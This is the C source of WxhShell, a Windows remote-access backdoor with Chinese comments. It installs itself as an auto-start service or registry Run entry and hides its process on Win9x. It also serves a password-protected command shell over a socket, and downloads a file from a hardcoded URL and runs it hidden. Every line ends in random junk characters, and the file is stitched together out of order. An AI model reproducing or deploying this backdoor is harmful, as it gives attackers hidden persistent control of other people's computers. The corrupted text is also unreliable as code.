    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *(?Wzanh  
    if(Boot(SHUTDOWN)) Sz go@x$^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wwB3m&  
    else { Lz'VQO1U=  
    closesocket(wsh); *7jz(iX  
    ExitThread(0); 0B]q /G(  
    } +y?Ilkk;j  
    break; Z,.Hz\y1D  
    } WR"D7{>tw  
  // 获取shell -SrZ^  
  case 's': { %'=*utOxy  
    CmdShell(wsh); zXn-E  
    closesocket(wsh); PC#^L$cg}  
    ExitThread(0); #_wq#rF  
    break; $s/E } X  
  } >5t%_/yeB  
  // 退出 64zOEjra  
  case 'x': { 5*pzL0,Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W-=6:y#A  
    CloseIt(wsh); tNi>TkC}`  
    break; `x9Eo4(/  
    } J, 9NVw$  
  // 离开 "tzu.V-  
  case 'q': { 9Rnypzds  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }aVZ\PDg  
    closesocket(wsh); 3 !@  
    WSACleanup(); "d_wu#fO)  
    exit(1); J +u}uN@  
    break; L=4+rshl!_  
        } `r`8N6NQ&]  
  } :}lqu24K  
  } X g6ezlW  
FPDTw8" B;  
  // 提示信息 CI'RuR3y]Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iAwEnQ3h  
} li r=0oq<  
  } T }}2J/sj  
'+PKGmRW  
  return; `<C<[JP:o  
} 9{toPED  
6Yj{% G  
// shell模块句柄 Gmz^vpQ]t  
int CmdShell(SOCKET sock) 0@ Y#P|QF  
{ l#'V SFm&  
STARTUPINFO si; to'7o8Z  
ZeroMemory(&si,sizeof(si)); +3)r szb72  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'r?ULft1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~zqb{o^pT  
PROCESS_INFORMATION ProcessInfo; ?l0eU@rwQ  
char cmdline[]="cmd"; E7:xPNU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =:- fK-d  
  return 0;  )(G9[DG  
} K3yQ0k |  
!GqFX+!Ju  
// 自身启动模式 ,@`?I6nKy  
int StartFromService(void) Ttluh *  
{ /T w{JO#Q  
typedef struct !(GyOAb  
{ cMw<3u\  
  DWORD ExitStatus; 6>a6;[  
  DWORD PebBaseAddress; m9 h '!X<  
  DWORD AffinityMask; f!9i6  
  DWORD BasePriority; 4<y   
  ULONG UniqueProcessId; 8QrpNSj4  
  ULONG InheritedFromUniqueProcessId; $9)os7H7  
}   PROCESS_BASIC_INFORMATION; jf~](TK  
k?+ 7%A]  
PROCNTQSIP NtQueryInformationProcess; l|P"^;*zq  
B*(]T|ff<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p)y5[HX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j/O~8o&  
i5VZ,E^E  
  HANDLE             hProcess; )6OD@<r{  
  PROCESS_BASIC_INFORMATION pbi; ?[ xgt )  
Hr|f(9xA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -*C WF|<G  
  if(NULL == hInst ) return 0; B/twak\  
(Rw<1q`,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -NBVUUAgN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DX s an  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xE/?ncTK^  
|N.2iN:  
  if (!NtQueryInformationProcess) return 0; 7o E0;'  
;8sL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )PX VR T  
  if(!hProcess) return 0; -'! J?~  
k^J8 p#`6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8<=^Rkz  
o?`FjZ6;x  
  CloseHandle(hProcess); i?x gV_q;  
mMAN* }`O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?Nos;_/  
if(hProcess==NULL) return 0; 8Zr;n`~  
ul~ux$a  
HMODULE hMod; &N~Eu-@b  
char procName[255]; Q_5 l.M/9]  
unsigned long cbNeeded; 82r8K|L.<y  
-$Oh.B`i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3_(_yEKx  
.WSyL  
  CloseHandle(hProcess); 1Cr&6't  
,"v&r(  
if(strstr(procName,"services")) return 1; // 以服务启动 cU1o$NRx  
F2"fOS  
  return 0; // 注册表启动 +jm,nM9  
} \TQZZ_Z  
@-U\!Tf  
// 主模块 _D '(R  
int StartWxhshell(LPSTR lpCmdLine) l/.{F;3F  
{ 5 \mRH  
  SOCKET wsl; uYh!04u  
BOOL val=TRUE; 02;jeZ#z  
  int port=0; akj<*,  
  struct sockaddr_in door; a=z] tTs4  
M(%H  
  if(wscfg.ws_autoins) Install(); >B BV/C'9  
kK6O ZhLH  
port=atoi(lpCmdLine); E/;t6& 6  
W }N UU  
if(port<=0) port=wscfg.ws_port; {{G)Ry*pb  
H>~CL  
  WSADATA data; |xO*!NR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jLAEHEs  
z0z@LA4k6@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qb536RpcTY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "Ep"$d  
  door.sin_family = AF_INET; -+R,="nRQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vObZ|>.J~O  
  door.sin_port = htons(port); MmF&jd-=  
70'OS:J=\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B*,6;lCjX  
closesocket(wsl); s,z~qL6&  
return 1; 19 !?oeOU  
} PX:#+bq1  
ACszx\[K3  
  if(listen(wsl,2) == INVALID_SOCKET) { ,06Sm]4L,  
closesocket(wsl); 'Y 38VOI%  
return 1; ]C_+u_9  
} BU`X_Z1)  
  Wxhshell(wsl); -f+#j=FX  
  WSACleanup(); JcAsrtrG]  
S 'a- E![  
return 0; kDmm  
R9XU7_3B  
} >F/^y O  
YQMWhC,8hy  
// 以NT服务方式启动 Kk3+ ]W<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p3s i\Fm!  
{ V9c.(QY|f  
DWORD   status = 0; <c+.%ka  
  DWORD   specificError = 0xfffffff; 1`cH EAa  
`4Yo-@iVP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s9 - qR_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ejN/U{)jK'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u`bD`kfT>  
  serviceStatus.dwWin32ExitCode     = 0; 'eM0i[E+`  
  serviceStatus.dwServiceSpecificExitCode = 0; N} EKV  
  serviceStatus.dwCheckPoint       = 0; 0TU3 _;o  
  serviceStatus.dwWaitHint       = 0; 57\ 0MQO  
c=! >m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9&+]YY CS-  
  if (hServiceStatusHandle==0) return; K<S3gb?0  
c-w #`  
status = GetLastError(); <BR^Dv07U  
  if (status!=NO_ERROR) .. `I <2  
{ #M-!/E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VotC YJ  
    serviceStatus.dwCheckPoint       = 0; zsL@0]e&  
    serviceStatus.dwWaitHint       = 0; D|uvgu2  
    serviceStatus.dwWin32ExitCode     = status; GppCrQ%Ra|  
    serviceStatus.dwServiceSpecificExitCode = specificError; !=0h*=NOYt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L\Se ,  
    return; Dqy`7?Kn  
  } (0-Ol9[  
\}Q=q$)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #2tmi1 ya  
  serviceStatus.dwCheckPoint       = 0; _w^,j"  
  serviceStatus.dwWaitHint       = 0; %>KbaM1b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pMfb(D"  
} wQxI({k@  
1@]&iZ]  
// 处理NT服务事件,比如:启动、停止 )[rVg/m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l\<.*6r  
{ fO<40!%9cQ  
switch(fdwControl) gOF^?M11x  
{ p9v:T1 ?  
case SERVICE_CONTROL_STOP: 7=-Yxt  
  serviceStatus.dwWin32ExitCode = 0; 8>KUx]AN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1lw%RM  
  serviceStatus.dwCheckPoint   = 0; DDE-$)lf>  
  serviceStatus.dwWaitHint     = 0; %>+uEjbT  
  { zPt<b!q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Ba]i)!  
  } #g{R+#fm  
  return; -FZC|[is  
case SERVICE_CONTROL_PAUSE: fi?4!h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DbGS]k<$  
  break; O8]e(i  
case SERVICE_CONTROL_CONTINUE: yD+4YD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C`5'5/-.  
  break; yl[I'fX66  
case SERVICE_CONTROL_INTERROGATE: Ss[[V(-  
  break; ,i:?c  
}; j|!,^._i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4BCPh:  
} aOD h5  
pz%s_g'  
// 标准应用程序主函数 7l* &Fh9;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TgiZ % G  
{ #U:|- a.>  
X^\D"fmE.  
// 获取操作系统版本 P6+ B!pY  
OsIsNt=GetOsVer(); VLuHuih  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )/RG-L  
4'QX1p  
  // 从命令行安装 uw;Sfx,s  
  if(strpbrk(lpCmdLine,"iI")) Install(); VF`!ks  
fyQOF ItM  
  // 下载执行文件 (b25g!  
if(wscfg.ws_downexe) { sN41Bz$q.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y4-kuMYR  
  WinExec(wscfg.ws_filenam,SW_HIDE); B;k'J:-"  
} Q'OtXs 80  
EBy7wU`S  
if(!OsIsNt) { $1yy;IyR  
// 如果时win9x,隐藏进程并且设置为注册表启动 G6p gG+w  
HideProc(); e=i X]%^  
StartWxhshell(lpCmdLine); >wW{ $  
} mnm ZO}   
else A`7(i'i5]  
  if(StartFromService()) hRf l\Q[  
  // 以服务方式启动 u/=hueR<^  
  StartServiceCtrlDispatcher(DispatchTable); g p:0Y  
else o=rR^Z$G   
  // 普通方式启动 OZ&/&?!XE  
  StartWxhshell(lpCmdLine); ~$J ;yo~  
yqN`R\d  
return 0; c p"K?)  
} gUklP(T=u  
K(;qd Ir  
pGs?Y81  
s"jvO>[  
=========================================== M}8P _<,  
#9,8{ O"  
g+#<;Gbpe  
h>pu^ `hk  
:-?ZU4)  
/4x\}qvU  
" Q y qOtRk  
Kd:l8%+  
#include <stdio.h> %o?)`z9-  
#include <string.h> D Q.4b  
#include <windows.h> A5nggg4  
#include <winsock2.h> u W]gBhO$O  
#include <winsvc.h> <K CI@  
#include <urlmon.h> Xb"i/gfxt  
8pnD6Lp>  
#pragma comment (lib, "Ws2_32.lib") od=hCQ1 >  
#pragma comment (lib, "urlmon.lib") +>PsQ^^x  
$hm[x$$  
#define MAX_USER   100 // 最大客户端连接数 QuR} 6C  
#define BUF_SOCK   200 // sock buffer n ]g"H  
#define KEY_BUFF   255 // 输入 buffer $8\u  
"xlR>M6e  
#define REBOOT     0   // 重启 vl:~&I&y;R  
#define SHUTDOWN   1   // 关机 9]eG |LFD  
7O55mc>cF  
#define DEF_PORT   5000 // 监听端口 ;@Zuet  
<$s6?6P  
#define REG_LEN     16   // 注册表键长度 5]&sXs  
#define SVC_LEN     80   // NT服务名长度 }O\IF}X  
i:s=  
// 从dll定义API M-@RgWvF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZID-~ 6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 48:xvTE?N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )U~|QdZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %9cT#9!7  
SH)-(+72d  
// wxhshell配置信息 m7^f%<l  
struct WSCFG { , 5W7a  
  int ws_port;         // 监听端口 8?Rp2n*o  
  char ws_passstr[REG_LEN]; // 口令 y8YsS4E^Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7Fj8Mp|  
  char ws_regname[REG_LEN]; // 注册表键名 Y_CYx  
  char ws_svcname[REG_LEN]; // 服务名 f1vD{M ;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d*8*9CpO:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iq' PeVo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k]p|kutQCy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jSjC43lh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0/v]YK.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z5t^D|  
J%?5d:iN+  
}; d5^^h<'  
ei-\t qY_  
// default Wxhshell configuration !q&Td  
struct WSCFG wscfg={DEF_PORT,  E0!d c  
    "xuhuanlingzhe", |y^=(|eM  
    1, -))S  
    "Wxhshell", b-ss^UL  
    "Wxhshell", ==Egy:<:Q  
            "WxhShell Service", '&cH,yc;b  
    "Wrsky Windows CmdShell Service",  SCfp5W7~  
    "Please Input Your Password: ", 'vNju1sfk  
  1, B@*b 9  
  "http://www.wrsky.com/wxhshell.exe", kWW2N0~$  
  "Wxhshell.exe" -=5~h  
    }; #LR4%}mg  
!q+ #JW  
// 消息定义模块 D('.17  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7"!`<5o^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7<su8*?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #G#gc`S-,  
char *msg_ws_ext="\n\rExit."; =\lw.59  
char *msg_ws_end="\n\rQuit."; @ujwN([I  
char *msg_ws_boot="\n\rReboot..."; Nvd(?+c  
char *msg_ws_poff="\n\rShutdown..."; lJ;Wi  
char *msg_ws_down="\n\rSave to "; ht>%O7  
@_kF&~  
char *msg_ws_err="\n\rErr!"; x3i}IC  
char *msg_ws_ok="\n\rOK!"; lpXGsK H2  
]In7%Qb  
char ExeFile[MAX_PATH]; [mzed{p]]  
int nUser = 0; KO "/  
HANDLE handles[MAX_USER]; z% bH?1^o  
int OsIsNt; 3O,nNt;L{  
UN'n~d @~  
SERVICE_STATUS       serviceStatus; v,iZnANZ&P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8?iI;(  
@ eJ8wf]  
// 函数声明 a,Pw2Gcid  
int Install(void); OMK,L:poC  
int Uninstall(void); hEHd$tH06  
int DownloadFile(char *sURL, SOCKET wsh); H^|TV]^;N  
int Boot(int flag); Ah1 9#0  
void HideProc(void); t#"0^$l=  
int GetOsVer(void); joI)6c  
int Wxhshell(SOCKET wsl); / <)Vd  
void TalkWithClient(void *cs); KRL.TLgq)  
int CmdShell(SOCKET sock); j{lurb)y  
int StartFromService(void); %M`48TW)  
int StartWxhshell(LPSTR lpCmdLine); "}v.>L<P  
5QiQDQT}5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !'H$08Ql}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X.>=&~[  
X7!q/1$J  
// 数据结构和表定义 Zp)=l Td  
SERVICE_TABLE_ENTRY DispatchTable[] = ;mEn@@{  
{ O q$_ q  
{wscfg.ws_svcname, NTServiceMain}, jRjeL'"G  
{NULL, NULL} "r46Rfa  
}; RiQ ]AsTtl  
(6$ P/k8  
// 自我安装 6C2~0b   
int Install(void) ]JkEf?;.  
{ u{DEOhtI4  
  char svExeFile[MAX_PATH]; estiS  
  HKEY key; ~5+RK16  
  strcpy(svExeFile,ExeFile); YH\9Je%jx  
~yJ2@2I  
// 如果是win9x系统,修改注册表设为自启动 |OJWQU![by  
if(!OsIsNt) { kQmkS^R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &Pb:P?I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J$51z  
  RegCloseKey(key); N`Q.u-'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8</wQ6&|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =dPokLXn  
  RegCloseKey(key); Kkp dcc  
  return 0; 0Ncpi=6  
    } @e<( o UE  
  } k4iiL<|  
} yU!1q}L!  
else { G$f%]A1  
I4"p]>Y"  
// 如果是NT以上系统,安装为系统服务 qS\#MMsTd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f(pq`v^-n  
if (schSCManager!=0) _e@8E6#ce  
{ #VrIU8Q7'  
  SC_HANDLE schService = CreateService ;(?tlFc  
  ( Dsm1@/"i|7  
  schSCManager, ] :;x,$k  
  wscfg.ws_svcname, 67iI wY*8'  
  wscfg.ws_svcdisp, !Q[v"6?  
  SERVICE_ALL_ACCESS, y2I7Zd .  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5csh8i'V  
  SERVICE_AUTO_START, O?X[&t  
  SERVICE_ERROR_NORMAL, +7b8ye  
  svExeFile, mi] WZlg$  
  NULL, Mq$K[]F  
  NULL, ULAr!  
  NULL, eMRH*MyD  
  NULL, B`mJT*B[  
  NULL U|3!ixk>>w  
  ); Nhs!_-_I  
  if (schService!=0) zzZ EX  
  { C=+9XfP0  
  CloseServiceHandle(schService); ]zlA<w8  
  CloseServiceHandle(schSCManager); hiS|&5#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E@ :9|5  
  strcat(svExeFile,wscfg.ws_svcname); ~snj92K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L"&T3i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z8 v8@Y  
  RegCloseKey(key); cR3d& /_,U  
  return 0; es*$/A  
    } 9;#RzelSp  
  } elR'e6Q  
  CloseServiceHandle(schSCManager); JjS+'A$A5  
} y`va6 %u{  
} 6&x\!+]F8  
'<o3x$6 *  
return 1; 4SI~y;c)  
} W,@ F!8  
$Er=i }`  
// 自我卸载 'V7LL1K^>  
int Uninstall(void) w!"L\QT  
{ :gV~L3YW5  
  HKEY key; kumV|$Y?kA  
:dt[ #  
if(!OsIsNt) { _<c"/B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ARu_S B  
  RegDeleteValue(key,wscfg.ws_regname); zhw*Bed<  
  RegCloseKey(key); B!/kC)bF:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =R=V  
  RegDeleteValue(key,wscfg.ws_regname);  _BP%@o  
  RegCloseKey(key); ^f,4=-  
  return 0; #tR:W?!  
  } 8Q Try%  
} ? uYO]!VC  
} ;NA5G:eQ  
else { `9r{z;UQ  
zgGysjV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )P(S:x'b0  
if (schSCManager!=0) v8-My1toV  
{  Lw\u{E@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .hW>#  
  if (schService!=0) NIQ}A-b  
  { XKTDBaON  
  if(DeleteService(schService)!=0) { {}$rN@OM$  
  CloseServiceHandle(schService); "\@J0 |ppb  
  CloseServiceHandle(schSCManager); Ve(<s  
  return 0; dCoP qKy  
  } 9Rk(q4.OP  
  CloseServiceHandle(schService); >.qFhO\1so  
  } :i!fPNn  
  CloseServiceHandle(schSCManager); r4mh:T4i  
} 7 {92_xRL  
} M Z"V\6T]  
6 >)fNCe`  
return 1; +DRt2a #  
} 3?B1oIHQ  
eF%M2:&c;  
// 从指定url下载文件 9W=(D|,,  
int DownloadFile(char *sURL, SOCKET wsh) %:~Ah6R1  
{ PaSwfjOnqr  
  HRESULT hr; MQP9^+f)O?  
char seps[]= "/"; {>hxmn  
char *token; 4dbX!0u1l  
char *file; ,?yjsJd.  
char myURL[MAX_PATH]; tCrEcjT-  
char myFILE[MAX_PATH]; 0Ye/  
0hoMf=bb$  
strcpy(myURL,sURL); {LiJ=Ebt  
  token=strtok(myURL,seps); 1vo3aF  
  while(token!=NULL) (n kg  
  { Tg^8a,Lt  
    file=token; K.yc[z)un  
  token=strtok(NULL,seps); eI ( S)q  
  } 2-'_Nwkl*  
>IS4  
GetCurrentDirectory(MAX_PATH,myFILE); D]E=0+  
strcat(myFILE, "\\"); 6{5T^^x?<  
strcat(myFILE, file); 'yCVB&`b  
  send(wsh,myFILE,strlen(myFILE),0); FC+-|1?C  
send(wsh,"...",3,0); %/3+:}@G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >c0leT  
  if(hr==S_OK) d9JAt-6z2  
return 0; RP2$(%  
else MX]#|hEeQ  
return 1; Lz1KDXr`)+  
_t-6m2A  
} h~Ir= JV  
|$/#,Dv7  
// 系统电源模块 g R!hN.I  
int Boot(int flag) F2zo !a8  
{ oqvu8"  
  HANDLE hToken; 93n%:?l"<W  
  TOKEN_PRIVILEGES tkp; B-LV/WJ_  
UhJS=YvT  
  if(OsIsNt) { fa]8v6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ia%cc L=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e5AsX.kv B  
    tkp.PrivilegeCount = 1; 0dwD ?GG2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^JxVs 7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9 5!xJdq  
if(flag==REBOOT) { ED8{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (tA[]ne2  
  return 0; P>q~ocq<  
} U>kaQ54/  
else { (A2ga):Pk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 06HU6d ,  
  return 0; ?MywA'N@x  
} .~I:Hcf/  
  } :Jyr^0`J  
  else { _L)LyQD]T  
if(flag==REBOOT) { Gd C=>\]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <!t;[ie?y  
  return 0; Gu{1%bb#kL  
} t~qSiHw  
else { 5 xr2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S'RRe84 C  
  return 0; Pjq9BK9p  
} f]10^y5&  
} yx#!2Z0hw  
}{:Jj/d p  
return 1; .Od@i$E>&  
} E<LH-_$  
V?t*c [  
// win9x进程隐藏模块 X7*ossv  
void HideProc(void) J_+2]X7n  
{ DPY+{5q2  
r!w4Br0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zah<e6L  
  if ( hKernel != NULL ) -ik$<>{X  
  { 9k93:#{WE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M%jR`qVFg.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X%I@4 B7Ts  
    FreeLibrary(hKernel); 6GAEQ]  
  } Y, Lpv|  
N\s-{7K  
return; k3LHLJZ#  
} YO.ddy*59  
Foj|1zJS_  
// 获取操作系统版本 maSVqG  
int GetOsVer(void) UH&1QV  
{ b!-=L&V  
  OSVERSIONINFO winfo; xGOmvn^lQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v#9i|  
  GetVersionEx(&winfo); A~{vja0?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vx$DKQK@l\  
  return 1; k0FAI0~(  
  else E}zGY2Xx  
  return 0; I7h v'3u  
} EFU)0IAL[  
ENA"T-p  
// 客户端句柄模块 w}/+3z  
int Wxhshell(SOCKET wsl) h+_:zWU  
{ `}ZtK574  
  SOCKET wsh; 18~jUYMV  
  struct sockaddr_in client; 9h+T O_T@F  
  DWORD myID; Le-t<6i-V#  
wg k[_i  
  while(nUser<MAX_USER) sc-+?i  
{ asQ^33g z  
  int nSize=sizeof(client); d8Cd4qIXX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,ZYPffu<*  
  if(wsh==INVALID_SOCKET) return 1; 4QC_zyTE  
1D1kjM^Bo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?]*"S{Cqv  
if(handles[nUser]==0) lt'N{LFvc  
  closesocket(wsh); ) C\/(  
else )`<&~>qp  
  nUser++; `p)U6J  
  } 25 U+L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -oZw+ge}  
T#e|{ZCbq  
  return 0; N3Q .4? z9  
} Z>/ *q2  
W3('1  
// 关闭 socket ]T40VGJ:h  
void CloseIt(SOCKET wsh) u!HbS*jqq  
{ O<AGAD  
closesocket(wsh); <v\$r2C*  
nUser--; r_8;aPL  
ExitThread(0); FBrh!vQ<  
} 3k8nWT:wT  
< h|&7  
// 客户端请求句柄 %"#ydOy  
void TalkWithClient(void *cs) {a2Gb  
{ P=P']\`p+  
=~,2E;#X  
  SOCKET wsh=(SOCKET)cs; ES(qu]CjI  
  char pwd[SVC_LEN]; h*hkl#  
  char cmd[KEY_BUFF]; h`vT[u~l  
char chr[1]; (bpxj3@R  
int i,j; 19[.&-u"  
mU[  
  while (nUser < MAX_USER) { [Ak 0kH >  
%LqT>HXJ  
if(wscfg.ws_passstr) { re4z>O*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @tRDKPh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3C;;z  
  //ZeroMemory(pwd,KEY_BUFF); 6xr%xk2E  
      i=0; :Ez*<;pF'  
  while(i<SVC_LEN) { }0/l48G  
cl{mRt0  
  // 设置超时 I !lR 7%  
  fd_set FdRead; M`9|8f,!a  
  struct timeval TimeOut; |<8Fa%!HHc  
  FD_ZERO(&FdRead); VV[Fb9W ;  
  FD_SET(wsh,&FdRead); M4 }))  
  TimeOut.tv_sec=8; 5+b73R3r  
  TimeOut.tv_usec=0; 1<Uv4S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z X+i2,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <jaQ 0S{|  
T`u ,!S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,t*H: *  
  pwd=chr[0]; ]X X>h~0  
  if(chr[0]==0xd || chr[0]==0xa) { hoiC J}us  
  pwd=0; Hkf]=kPy*  
  break; zlkW-rRkR  
  } R%9,.g <  
  i++; w%oa={x  
    } n b*`GE  
7pyaHe  
  // 如果是非法用户,关闭 socket s gZlk9x!Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6 !Mm")  
} qd'Z|'j  
ts,V+cEA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V HLNJnA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hh&qjf  
Osy_C<O  
while(1) { z 63y8  
ra@CouR^c{  
  ZeroMemory(cmd,KEY_BUFF); B oiS  
yI-EF)A@;  
      // 自动支持客户端 telnet标准   oykb8~u}}  
  j=0; V1Gnr~GM  
  while(j<KEY_BUFF) { aM_O0Rn==  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ME'D  
  cmd[j]=chr[0]; "F Etl(  
  if(chr[0]==0xa || chr[0]==0xd) { D mky!Cp  
  cmd[j]=0; l&Y'5k_R  
  break; rodqa  
  } 0q]0+o*%  
  j++; L)9Z Op5  
    } 9.9B#?  
Le/}xST@  
  // 下载文件 %z~kHL  
  if(strstr(cmd,"http://")) { \zDs3Hp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hdmKD0  
  if(DownloadFile(cmd,wsh)) 7^d7:1M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \W\*'C8q\  
  else 9pWSvalw9  
